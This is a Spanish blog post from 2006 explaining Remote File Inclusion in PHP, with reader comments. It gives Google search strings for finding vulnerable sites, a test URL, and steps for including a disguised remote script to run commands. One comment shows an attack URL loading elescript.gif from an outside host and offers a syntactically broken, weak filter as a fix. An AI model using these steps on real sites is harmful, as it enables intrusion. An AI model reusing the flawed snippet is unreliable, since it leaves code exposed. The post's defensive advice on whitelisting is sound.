Remote File Inclusion
Autor: DeiMoS | Archivado en: General, PHP, Seguridad el día 1/Oct/2006
Vamos a explicar en que consiste este fallo de seguridad.
Esta vulnerabilidad permite incluir archivos remotos desde otros servidores en paginas que tengan algo asi como:
www.tusitio.com/index.php?seccion=pagina.php
Para buscar en google este tipo de fallos deberíamos poner algo así : allinurl: index.php?*=*
Pero como creo que google está filtrando este tipo de búsquedas otra opción sería buscar: allinurl: index.php?page=inicio.php o cualquier cosa que se nos ocurra.
Una vez localizada la página se puede probar la vulnerabilidad incluyendo por ejemplo una página externa. Sería asi:
http://www.tuweb.com/index.php?seccion=http://www.google.es
Si vemos que la página de google aparece dentro de la web, entonces quiere decir que estamos ante una web vulnerable a éste fallo. Sólo bastaría con sustituir google con un fichero conteniendo un script programado en php, perl… pero con una extensión .gif, .jpg o .txt para que no se ejecute en el servidor externo y que contenga codigos que podamos ejecutar en el servidor. Podéis obtener una idea en Ejecutar comandos shell mediante php.
Cómo evitar este fallo:
He observado que más de una web programan sus menús de ésta manera:
dentro del código php: include (”seccion”) o bien include (”seccion.php”) y ése fichero será el contenido o sección dentro de la estructura principal del sitio web.
Donde nosotros navegaremos por la web tal como: http://www.tusitio.com/index.php?seccion=fichero.php o bien http://www.tusitio.com/index.php?seccion=fichero
Bien, pues ésto es totalmente vulnerable a éste fallo, así que una recomendación sería usar cases y definir las opciones para que nadie pueda incluir ningún otro fichero que no sea el definido por nuestro menú de opciones.
Nota: Publicamos este artículo como recomendación de seguridad, por supuesto se puede escribir un código para entrar en una máquina y hackearla. Nosotros no pretendemos promover el uso del hacking así que no se contestará ninguna duda sobre ese tema.












Hola interesante artículo, podrías dar un ejemplo concreto de como reemplazar “include” ya que tengo un script que utiliza include(*lalala.php*) para mostrar un enlace aleatorio.
Gracias
Debes usar la función rand() de php. Para ponerlo en práctica debes meter en un array el listado de enlaces y llamarlo con dicha función, ésta te devolverá un enlace aleatorio. De todos modos hay muchos ejemplos ya hechos y una buena herramienta para encontrarlos es Google ;)
Yo tuve un problema con esta vulnerabilidad en estos dias, sencillamente lo que hice fue algo asi:
el enlace era de tipo: http://www.mipagina.com/intro.php?cargar=intro
dado que para cargar el script desde un servidor externo se debe poner de la forma http://www.servidor.com/script/elescript.gif, el enlace vulnerable de mi pagina quedaria
http://www.mipagina.com/intro.php?cargar=http://www.servidor.com/script/elescript.gif
por lo cual dentro del codigo hice esto:
$nuevocargar = substr($cargar,0,4) //esta contiene los 3 primeros caracteres de la variable
if ($nuevocargar != ‘http’)
{
include (’intro.php’)}
else
{
echo “Bastardo que intentas hacer con mi pagina”)
}
fue algo muy simple y bastante efectivo, espero les sirva.
Muy bueno!!! es un buen método, pero también está el limitar que solo se puedan incluir ciertas paginas creando un grupo de opciones en un switch